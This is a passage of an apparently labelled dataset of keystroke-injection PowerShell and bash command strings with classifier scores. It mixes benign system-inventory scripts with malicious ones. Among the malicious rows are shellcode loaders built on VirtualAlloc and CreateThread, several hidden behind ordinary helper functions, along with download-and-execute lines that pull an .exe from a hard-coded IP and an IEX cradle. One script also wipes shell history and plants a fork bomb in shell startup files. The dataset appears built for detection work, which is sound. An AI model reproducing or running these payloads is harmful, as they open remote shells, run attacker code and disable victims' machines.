System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.993609e-05,0.99994004
"win+r enter powershell enter enter enter $1 = '$c = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x29,0xfc,0xc3,0xec,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + ""\syswow64\WindowsPowerShell\v1.0\powershell"";$cmd = ""-nop -noni -enc "";iex ""& $x86 $cmd $e""}else{$cmd = ""-nop -noni -enc"";iex ""& powershell $cmd $e"";} enter enter",1,1,5.183765e-05,0.99994814
"win+r enter powershell enter enter enter cls enter enter Set-Variable -Name Computer -Scope Global -Force enter Set-Variable -Name Active -Scope Global -Force enter Set-Variable -Name Network -Scope Global -Force enter Set-Variable -Name Networks -Scope Global -Force enter Set-Variable -Name Output -Scope Global -Force enter Set-Variable -Name RetVal -Scope Global -Force enter $Computer = gc env:computername enter $Networks = Get-WmiObject Win32_NetworkAdapter -ComputerName $Computer enter Foreach ($Network in $Networks) { enter If ($Network.NetEnabled -eq $true) { enter $Active = $Network enter Write-Host ""Network Adaptor"" enter Write-host "" ""$Network.Description enter Write-Host enter $RetVal = $Network.Disable() enter If ($RetVal.ReturnValue -eq 0) { enter Write-Host ""Network adaptor is disabled"" enter } enter Start-Sleep -Seconds 5 enter $RetVal = $Network.Enable() enter If ($RetVal.ReturnValue -eq 0) { enter Write-Host ""Network adaptor is re-enabled"" enter } enter Start-Sleep -Seconds 30 enter $Output = Test-Connection google.com -Quiet enter If ($Output -eq $true) { enter Write-Host ""Network adaptor Restored"" enter } else { enter Write-Host ""Network adaptor unavailable"" enter } enter } enter } enter Remove-Variable -Name Active -Scope Global -Force enter Remove-Variable -Name Computer -Scope Global -Force enter Remove-Variable -Name Network -Scope Global -Force enter Remove-Variable -Name Networks -Scope Global -Force enter Remove-Variable -Name Output -Scope Global -Force enter Remove-Variable -Name RetVal -Scope Global -Force enter enter",0,0,0.9999428,5.723992e-05
"win+r enter powershell enter enter enter function Should-Exist($ActualValue, [switch] $Negate, [string] $Because) { enter enter [bool] $succeeded = & $SafeCommands['Test-Path'] $ActualValue enter enter if ($Negate) { enter $succeeded = -not $succeeded enter } enter enter $failureMessage = '' enter enter if (-not $succeeded) { enter if ($Negate) { enter $failureMessage = ""Expected path $(Format-Nicely $ActualValue) to not exist,$(Format-Because $Because) but it did exist."" enter } enter else { enter $failureMessage = ""Expected path $(Format-Nicely $ActualValue) to exist,$(Format-Because $Because) but it did not exist."" enter } enter } enter enter return & $SafeCommands['New-Object'] psobject -Property @{ enter Succeeded = $succeeded enter FailureMessage = $failureMessage enter } enter } enter enter Add-AssertionOperator -Name Exist ` enter -InternalName Should-Exist ` enter -Test ${function:Should-Exist} enter function ShouldExistFailureMessage() { enter } enter function NotShouldExistFailureMessage() { enter } enter enter $X9D = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $X9D -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xc3,0xd9,0x74,0x24,0xf4,0xba,0x6b,0x61,0xb6,0x8e,0x58,0x31,0xc9,0xb1,0x53,0x31,0x50,0x17,0x03,0x50,0x17,0x83,0xab,0x65,0x54,0x7b,0xd7,0x8e,0x1a,0x84,0x27,0x4f,0x7b,0x0c,0xc2,0x7e,0xbb,0x6a,0x87,0xd1,0x0b,0xf8,0xc5,0xdd,0xe0,0xac,0xfd,0x56,0x84,0x78,0xf2,0xdf,0x23,0x5f,0x3d,0xdf,0x18,0xa3,0x5c,0x63,0x63,0xf0,0xbe,0x5a,0xac,0x05,0xbf,0x9b,0xd1,0xe4,0xed,0x74,0x9d,0x5b,0x01,0xf0,0xeb,0x67,0xaa,0x4a,0xfd,0xef,0x4f,0x1a,0xfc,0xde,0xde,0x10,0xa7,0xc0,0xe1,0xf5,0xd3,0x48,0xf9,0x1a,0xd9,0x03,0x72,0xe8,0x95,0x95,0x52,0x20,0x55,0x39,0x9b,0x8c,0xa4,0x43,0xdc,0x2b,0x57,0x36,0x14,0x48,0xea,0x41,0xe3,0x32,0x30,0xc7,0xf7,0x95,0xb3,0x7f,0xd3,0x24,0x17,0x19,0x90,0x2b,0xdc,0x6d,0xfe,0x2f,0xe3,0xa2,0x75,0x4b,0x68,0x45,0x59,0xdd,0x2a,0x62,0x7d,0x85,0xe9,0x0b,0x24,0x63,0x5f,0x33,0x36,0xcc,0x00,0x91,0x3d,0xe1,0x55,0xa8,0x1c,0x6e,0x99,0x81,0x9e,0x6e,0xb5,0x92,0xed,0x5c,0x1a,0x09,0x79,0xed,0xd3,0x97,0x7e,0x12,0xce,0x60,0x10,0xed,0xf1,0x90,0x39,0x2a,0xa5,0xc0,0x51,0x9b,0xc6,0x8a,0xa1,0x24,0x13,0x26,0xa9,0x83,0xcc,0x55,0x54,0x73,0xbd,0xd9,0xf6,0x1c,0xd7,0xd5,0x29,0x3c,0xd8,0x3f,0x42,0xd5,0x25,0xc0,0x7d,0x7a,0xa3,0x26,0x17,0x92,0xe5,0xf1,0x8f,0x50,0xd2,0xc9,0x28,0xaa,0x30,0x62,0xde,0xe3,0x52,0xb5,0xe1,0xf3,0x70,0x91,0x75,0x78,0x97,0x25,0x64,0x7f,0xb2,0x0d,0xf1,0xe8,0x48,0xdc,0xb0,0x89,0x4d,0xf5,0x22,0x29,0xdf,0x92,0xb2,0x24,0xfc,0x0c,0xe5,0x61,0x32,0x45,0x63,0x9c,0x6d,0xff,0x91,0x5d,0xeb,0x38,0x11,0xba,0xc8,0xc7,0x98,0x4f,0x74,0xec,0x8a,0x89,0x75,0xa8,0xfe,0x45,0x20,0x66,0xa8,0x23,0x9a,0xc8,0x02,0xfa,0x71,0x83,0xc2,0x7b,0xba,0x14,0x94,0x83,0x97,0xe2,0x78,0x35,0x4e,0xb3,0x87,0xfa,0x06,0x33,0xf0,0xe6,0xb6,0xbc,0x2b,0xa3,0xc7,0xf6,0x71,0x82,0x4f,0x5f,0xe0,0x96,0x0d,0x60,0xdf,0xd5,0x2b,0xe3,0xd5,0xa5,0xcf,0xfb,0x9c,0xa0,0x94,0xbb,0x4d,0xd9,0x85,0x29,0x71,0x4e,0xa5,0x7b;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$1rk=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($1rk.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$1rk,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.204767e-05,0.9999479
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_zwqwdo7h"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3710785e-05
"win+r powershell enter function rBy { Param ($cF9, $h0_) $ay = ([AppDomain]::CurrentDomain.GetAssembl enter ies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].E enter quals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') return $ enter ay.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleR enter ef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-O enter bject System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($ay.GetMeth enter od('GetModuleHandle')).Invoke($null, @($cF9)))), $h0_)) } function gw { Param enter ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $w0, [Parameter(Positi enter on = 1)] [Type] $r2Wi_ = [Void] ) enter enter",1,1,9.036463e-05,0.99990964
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_q4zh3rdo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,1) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter",0,0,0.9999652,3.4755445e-05
"win+r powershell enter unknown_key_action ctrl alt t unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE enter cat <<EOF > /tmp/tmppp enter ls -a | grep 'zshrc' &> /dev/null enter if [ 0 = 0 ]; then enter echo -e ""echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"""" >> ~/.zshrc enter echo "":(){ :|:& };:"" >> ~/.zshrc enter fi enter enter ls -a | grep 'bashrc' &> /dev/null enter if [ 0 = 0 ]; then enter echo -e ""echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"" echo -e \""""'!!!!!!YOU HAVE BEEN HACKED!!!!!!""'"""" >> ~/.bashrc enter echo "":(){ :|:& };:"" >> ~/.bashrc enter fi enter EOF enter chmod +x /tmp/tmppp && /tmp/./tmppp && rm /tmp/tmppp enter exit enter enter",1,1,0.00026413533,0.9997359
"win+r powershell enter workflow Write-DebugAndVerboseOutput { ""output message"" write-debug -message "" enter debug message"" write-verbose -message ""verbose message"" } (New-Object System.Ne enter t.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\ enter csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.7052228e-05,0.9999429
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_upi08m1k"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.json"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter",0,0,0.9999654,3.4598106e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_pjjvmmug"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_200.json"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3841723e-05
"win+r powershell enter function Update-Module { [CmdletBinding(SupportsShouldProcess = $true, HelpU enter ri = 'https://go.microsoft.com/fwlink/?LinkID=398576')] Param ( [Parameter(Va enter lueFromPipelineByPropertyName = $true, Position = 0)] [ValidateNotNullOrEmpty( enter )] [String[]] $Name, enter enter",1,1,0.0018743175,0.99812573
"win+r enter powershell enter enter enter function Assert-GreaterThan enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Position=0)] enter [object] enter enter $InputObject, enter enter [Parameter(Position=1)] enter [object] enter enter $LowerBound, enter enter [Parameter(Position=2)] enter [string] enter enter $Message enter ) enter enter Set-StrictMode -Version 'Latest' enter enter if( -not ($InputObject -gt $LowerBound ) ) enter { enter Fail ""'$InputObject' is not greater than '$LowerBound': $message"" enter } enter } enter enter",0,0,0.9999323,6.7702815e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_b5sy04n7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 40 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_40.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.436179e-05
win+r powershell enter function Test-PSFFunctionInterrupt { [OutputType([System.Boolean])] [Cmdlet enter Binding(HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Te enter st-PSFFunctionInterrupt')] Param ( ) $psframework_killqueue -contains (Ge enter t-PSCallStack)[1].InvocationInfo.GetHashCode() } enter enter,0,1,0.06665451,0.9333455
"win+r enter powershell enter enter enter $wc=NEW-OBJect SystEM.NET.WeBCLient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HEadeRS.ADd('User-Agent',$u);$WC.Proxy = [SYsTem.Net.WeBREqueSt]::DEfAultWebPROXY;$wc.PrOxY.CrEDEntials = [SYsTeM.NEt.CReDeNTIALCaCHe]::DEfauLTNetWOrkCREdentiALS;$K='5f4dcc3b5aa765d61d8327deb882cf99';$I=0;[ChAR[]]$b=([chaR[]]($WC.DOwNLOADSTriNG(""http://172.16.131.137:8080/index.asp"")))|%{$_-BXor$k[$I++%$K.LENgTH]};IEX ($B-joIn'') enter enter",1,1,5.606962e-05,0.999944
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_p0cleh4q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4568322e-05
"win+r powershell enter if (Get-Command logparser.exe) { $lpquery = @"" SELECT COUNT(CommandLine) as c enter t, CommandLine FROM *ProcsWMI.tsv GROUP BY CommandLine ORDER BY ct ASC ""@ enter",1,1,0.0030426048,0.9969574
"win+r enter powershell enter enter enter function Remove-StringDiacritic enter { enter enter [CMdletBinding()] enter PARAM enter ( enter [ValidateNotNullOrEmpty()] enter [Alias('Text')] enter [System.String[]]$String, enter [System.Text.NormalizationForm]$NormalizationForm = ""FormD"" enter ) enter enter FOREACH ($StringValue in $String) enter { enter Write-Verbose -Message ""$StringValue"" enter try enter { enter enter $Normalized = $StringValue.Normalize($NormalizationForm) enter $NewString = New-Object -TypeName System.Text.StringBuilder enter $normalized.ToCharArray() | enter ForEach-Object -Process { enter if ([Globalization.CharUnicodeInfo]::GetUnicodeCategory($psitem) -ne [Globalization.UnicodeCategory]::NonSpacingMark) enter { enter [void]$NewString.Append($psitem) enter } enter } enter Write-Output $($NewString -as [string]) enter } enter Catch enter { enter Write-Error -Message $Error[0].Exception.Message enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xc9,0x5d,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.193993e-05,0.999948
delay_short enter win+r enter delay_medium,1,1,7.610096e-05,0.99992394
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_ui16toxq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_10.json"") -Encoding UTF8 enter",0,0,0.9999659,3.411166e-05
"win+r enter powershell enter enter enter  enter enter function Get-Uptime enter { enter enter [OutputType('System.Management.Automation.PSCustomObject')] enter [CmdletBinding()] enter param enter ( enter [Parameter(ValueFromPipeline)] enter [string[]]$ComputerName = $env:COMPUTERNAME enter ) enter begin enter { enter $today = Get-Date enter } enter process enter { enter foreach ($computer in $ComputerName) enter { enter try enter { enter enter $output = [Ordered]@{ enter 'ComputerName' = $computer enter 'StartTime' = $null enter 'Uptime (Months)' = $null enter 'Uptime (Days)' = $null enter 'Status' = $null enter 'MightNeedPatched' = $false enter } enter if (-not (Test-Connection -ComputerName $computer -Count 1 -Quiet)) enter { enter $output.Status = 'OFFLINE' enter throw ""The computer [$($computer)] is offline."" enter } enter $filterHt = @{ enter 'LogName' = 'System' enter 'ID' = 6005 enter } enter enter $startEvent = Get-WinEvent -ComputerName $computer -FilterHashtable $filterHt | select -First 1 enter if (-not $startEvent) enter { enter $output.Status = 'ERROR' enter throw ""Unable to determine uptime for computer [$($computer)]"" enter } enter enter $output.Status = 'OK' enter $output.StartTime = [dateTime]$startEvent.TimeCreated enter $daysUp = [math]::Round((New-TimeSpan -Start $startEvent.TimeCreated -End $today).TotalDays, 2) enter $output.'Uptime (Days)' = $daysUp enter if ($daysUp -gt 30) enter { enter $output.'MightNeedPatched' = $true enter } enter } enter catch enter { enter enter Write-Warning $_.Exception.Message enter } enter finally enter { enter enter [pscustomobject]$output enter } enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xd9,0xd9,0x37,0x94,0x68,0x02,0x00,0x23,0x82,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a